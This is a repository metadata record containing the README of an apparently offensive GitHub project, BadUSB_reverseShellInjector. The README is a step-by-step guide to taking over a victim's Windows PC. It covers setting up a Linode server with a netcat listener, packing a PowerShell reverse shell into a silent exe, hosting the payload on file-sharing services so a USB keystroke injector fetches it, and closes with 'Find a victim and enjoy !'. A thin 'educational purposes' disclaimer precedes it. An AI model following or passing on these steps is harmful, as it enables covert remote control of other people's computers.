{"id":18917192,"url":"https://github.com/tuconnaisyouknow/badusb_reverseshellinjector","last_synced_at":"2025-04-15T09:31:56.219Z","repository":{"id":129403831,"uuid":"482267931","full_name":"tuconnaisyouknow/BadUSB_reverseShellInjector","owner":"tuconnaisyouknow","description":"This script allows you to take control of a PC with a reverseShell attack.","archived":false,"fork":false,"pushed_at":"2022-07-13T13:33:43.000Z","size":25,"stargazers_count":51,"open_issues_count":1,"forks_count":9,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-03-28T19:38:54.837Z","etag":null,"topics":["arduino","bad-usb","badusb","linode","malduino","malduinoscripts","nc","netcat","payload","powershell","reverse-shell","reverseshell","rubber-ducky","rubber-script","rubberducky","script","ssh","usb-hid","windows"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tuconnaisyouknow.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-04-16T13:57:01.000Z","updated_at":"2025-03-12T14:35:00.000Z","dependencies_parsed_at":"2023-06-25T22:46:09.567Z","dependency_job_id":null,"html_url":"https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_reverseShellInjector","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_reverseShellInjector/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_reverseShellInjector/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuconnaisyouknow%2FBadUSB_reverseShellInjector/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tuconnaisyouknow","download_url":"https://codeload.github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249042955,"owners_count":21203385,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["arduino","bad-usb","badusb","linode","malduino","malduinoscripts","nc","netcat","payload","powershell","reverse-shell","reverseshell","rubber-ducky","rubber-script","rubberducky","script","ssh","usb-hid","windows"],"created_at":"2024-11-08T10:24:32.819Z","updated_at":"2025-04-15T09:31:56.212Z","avatar_url":"https://github.com/tuconnaisyouknow.png","language":"C++","funding_links":[],"categories":[],"sub_categories":[],"readme":"# BadUSB_reverseShellInjector\n# Warning ⚠️\nEverything in this repository is **strictly** for educational purposes. Notice **I am not responsible** for stolen data. **You are responsible** for your actions using developed script for **BadUSB**.\n# About ℹ️\nThis **script** allows you to take **control** of a **PC** with **reverse shell** attack.\n### NB n°1 (for arduino BadUSB)\nSometimes, you will see something like this : \n``` \nKeyboard.press(KEY_LEFT_CTRL);\nKeyboard.press(KEY_LEFT_ALT);\nKeyboard.press(173);\nKeyboard.releaseAll(); \n```\nThis is only to write these characters : \"@\", \"\\\\\". But it depends on the computer's layout, so adapt these characters thanks to this [site](https://www.csee.umbc.edu/portal/help/theory/ascii.txt) and the sequence you actually use to wirte these characters with your keyboard. (or switch the keyboard layout to French).\n### US Layout\nFor US layout you only have to replace by this for \"\\\\\" :\n```\nKeyboard.press(92);\nKeyboard.releaseAll();\n```\nAnd by this for \"@\" :\n```\nKeyboard.press(64);\nKeyboard.releaseAll();\n```\n### NB n°2\nYou can customize the **delay** according to the speed in which you plug the **BadUSB**.\n### NB n°3\nWhen you plug the BadUSB in a PC you  have to wait for the caps lock to flash to unplug it.\n# Getting Started ✔️\n## Requirments\n1. Have a **BadUSB**.\n\n2. Install **Arduino software** [here](https://www.arduino.cc/en/software) (if you use a BadUSB which is based on arduino);\n\n3. [Have an ssh server](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector#linode);\n\n4. [Download PS2EXE](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector#ps2exe);\n\n5. Have a victim with **Windows OS** installed in his PC;\n## Linode\n1. Create an account [here](https://www.linode.com/);\n\n2. Go to create, linode;\n\n3. Select Ubuntu 18.04 LTS distribution;\n\n4. Select the region closest to where you live;\n\n5. Select shared CPU, Nanode 1GB;\n\n6. Choose your server label and password;\n\n7. Create linode;\n\n8. Now open a terminal and type the ssh access command (ssh root@your_ssh_ip_adress);\n\n9. You are now connected to your ssh server;\n\n10. To make your ssh server always listening type this commands :\n```\nscreen\nnc -lnvp 87 -s your_ssh_ip_adress\nCTRL + A\nD\n```\n11. Your ssh server is now listening and you can exit;\n\n12. To resume your listening screen, just type :\n```\nscreen -r\n```\n## PS2EXE\n1. Go in this [link](https://github.com/MScholtes/PS2EXE) and click on green button on right top of main page. Then click on \"Download Zip\" and extract zip file.\n\n2. Start powershell as admin and type the following commands :\n```\nSet-Location $env:HOMEPATH\\Downloads\\PS2EXE-master\\Win-PS2EXE\nSet-ExecutionPolicy Unrestricted -Force\nImport-Module ps2exe\nwin-ps2exe\n```\n\n3. * Select source file (the file you want to convert).\n   * Select target file (the directory where you want your file to be).\n   * Select icon file (you can download some icons [here](https://iconarchive.com/)).\n   * Check Supress output and Suppress error output.\n   * Then click on compile button to finish the convertion.\n## Install\n1. Download this repository;\n\n**Linux :**\n```\ngit clone https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector\ncd BadUSB_reverseShellInjector\n```\n**Windows :** Click on green button on right top of main page. Then click on \"Download Zip\" and extract zip file.\n\n2. Replace LINK in [.txt](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/blob/main/BadUSB_reverseShellInjector.txt) at line 28 or in [.ino](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/blob/main/BadUSB_reverseShellInjector.ino) at line 93;\n\n3. Replace LINK [here](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/blob/main/script.ps1) at line 8 and replce IP and PORT [here](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector/blob/main/reverseShell.ps1) at line 3;\n\n4. [Convert reverseShell.ps1 file in .exe file](https://github.com/tuconnaisyouknow/BadUSB_reverseShellInjector#ps2exe);\n\n5. Put the .ino or .txt file in your **BadUSB**;\n\n5. Find a victim and enjoy !\n## Requirments for victim PC\n* Turn off caps lock.\n* Switch the keyboard layout to French (or adapt the code according to your layout).\n# How to set a link for wget the script ⬇️\n## Dropbox\n1. Create a dropbox account [here](https://www.dropbox.com);\n\n2. Upload your file;\n\n3. Copy the link of the file and change ?dl=0 by ?dl=1;\n\n4. You will get a link like this : https://dropbox.com/s/link/YOURFILE?dl=1;\n\n5. Now put this link in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.txt) file;\n## Github\n1. Create a Github account [here](https://github.com/signup);\n\n2. Create a public repository;\n\n3. Upload your file;\n\n4. Go to your file page and click on RAW button;\n\n5. Copy the RAW page link and put it in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.txt) file;\n## One Drive\n1. Create a One Drive account [here](https://signup.live.com/signup);\n\n2. Upload your file file;\n\n3. Follow this [tutorial](https://mangolassi.it/topic/19276/how-to-configure-a-onedrive-file-for-use-with-wget)\n\n4. Put the link you got in the [.ino](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.ino) or [.txt](https://github.com/tuconnaisyouknow/BadUSB_passStealer/blob/main/BadUSB_passStealer.txt)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftuconnaisyouknow%2Fbadusb_reverseshellinjector","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftuconnaisyouknow%2Fbadusb_reverseshellinjector","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftuconnaisyouknow%2Fbadusb_reverseshellinjector/lists"}